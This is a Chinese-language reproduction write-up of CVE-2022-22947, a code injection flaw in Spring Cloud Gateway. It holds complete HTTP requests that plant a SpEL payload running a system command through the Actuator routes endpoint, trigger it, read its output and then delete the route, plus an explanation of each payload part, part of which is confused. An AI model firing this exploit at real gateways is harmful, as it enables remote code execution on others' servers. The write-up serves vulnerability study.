###### tags: `CVE` `xss`
# [CVE-2022-22947]Spring Cloud Gateway 遠程代碼執行漏洞覆現
參考:https://blog.csdn.net/laobanjiull/article/details/123437183
## 漏洞說明
2022年3月1日,VMware官方發布漏洞報告,在使用Spring Colud Gateway的應用程式開啟、暴露Gateway Actuator端點時,會容易造成代碼注入攻擊,攻擊者可以制造惡意請求,在遠程主機進行任意遠程執行。
## 引響範圍
Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway 3.0.x < 3.0.7
舊的、不受支持的版本也會受到影響
## spring Cloud Gateway Actuator簡介
參考:https://juejin.cn/post/6983803935328829453
Actuator提供了一些默認的REST接口,基於這些接口我們可以很方便的了解應用程序的運行狀況。其中某些端口比較敏感,需要在指定的權限下才能進行訪問。

### Actuator API
參考:https://blog.csdn.net/xgw1010/article/details/108036731
/gateway的actuator端點允許監視Spring Cloud Gateway應用程序並與之互動。要進行遠程訪問,必須在應用程序屬性中暴露HTTP或JMX 端口。
Spring Cloud Gateway添加了一個全新的、更加詳細的格式接口。它添加關於每個路由更多的詳細信息,讓你可以查看詳細的斷言、過濾器和其它配置。下面例子配置/actuator/gateway/routes:
```json=
[
{
"predicate": "(Hosts: [**.addrequestheader.org] && Paths: [/headers], match trailing slash: true)",
"route_id": "add_request_header_test",
"filters": [
"[[AddResponseHeader X-Response-Default-Foo = 'Default-Bar'], order = 1]",
"[[AddRequestHeader X-Request-Foo = 'Bar'], order = 1]",
"[[PrefixPath prefix = '/httpbin'], order = 2]"
],
"uri": "lb://testservice",
"order": 0
}
]
```
要創建一個路由,發送POST請求 /gateway/routes/{id_route_to_create},參數為JSON結構
```json=
{
"id": "first_route",
"predicates": [{
"name": "Path",
"args": {"_genkey_0":"/first"}
}],
"filters": [],
"uri": "https://www.uri-destination.org",
"order": 0
}]
```
## 漏洞復現
那在這邊可以看到在新增router並沒有過濾的機制,因此我們可以試著新增一個惡意的router
```json=
POST /actuator/gateway/routes/timtim HTTP/1.1
Host: 0.0.0.0:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
If-None-Match: "3147526947+ident"
If-Modified-Since: Thu, 17 Oct 2019 07:18:26 GMT
Connection: close
Content-Length: 310
Content-Type: application/json
{
"id": "timtim",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
```

然後我們接著刷新
```json=
POST /actuator/gateway/refresh HTTP/1.1
Host: 0.0.0.0:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
If-None-Match: "3147526947+ident"
If-Modified-Since: Thu, 17 Oct 2019 07:18:26 GMT
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
```

最後我們在以get的方式看看我們剛輸入的timtim
```json=
GET /actuator/gateway/routes/timtim HTTP/1.1
Host: 0.0.0.0:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
If-None-Match: "3147526947+ident"
If-Modified-Since: Thu, 17 Oct 2019 07:18:26 GMT
Connection: close
```


### 後續刪除動作
若是要做刪除的動作
```json=
DELETE /actuator/gateway/routes/timtim HTTP/1.1
Host: 0.0.0.0:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
If-None-Match: "3147526947+ident"
If-Modified-Since: Thu, 17 Oct 2019 07:18:26 GMT
Connection: close
```
然後再刷新,就可以了。
### 重點code講解
Linux下調用系統命令
```java=
參考:https://www.cnblogs.com/digod/p/11194880.html
String [] cmd={"/bin/sh","-c","ln -s exe1 exe2"};
Process proc =Runtime.getRuntime().exec(cmd);
```
為了把str塞進去
```java=
exec() #執行指令
#exec(str)中 不能把str完全看作命令行執行的command。
#尤其是str中不可包含重定向 ' < ' ' > ' 和管道符' | ' 。
#因此要以調用exec()的重載方法將exec()變成exec(String[] cmdarray)
#也就是
exec(new String[]{\"id\"}
在變成
getRuntime().exec(new String[]{\"id\"}
參考:https://blog.csdn.net/timo1160139211/article/details/75006938
```
接下來是java.lang.Runtime
```java=
參考:https://blog.csdn.net/timo1160139211/article/details/75050886
將命令執行的輸入/結果或者將錯誤信息讀取出來
```
而T()則是T (type) 表示具體的一個java型別
```
參考:https://iter01.com/578027.html
Java 泛型(generics)是 JDK 5 中引入的一個新特性, 泛型提供了編譯時型別安全檢測機制,該機制允許開發者在編譯時檢測到非法的型別。
T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}
```
最後是T(org.springframework.util.StreamUtils).copyToByteArray
```java=
參考:https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/util/StreamUtils.html
將input的東西copy成字串到再將它輸出
```
以上便是整段程式碼的講解。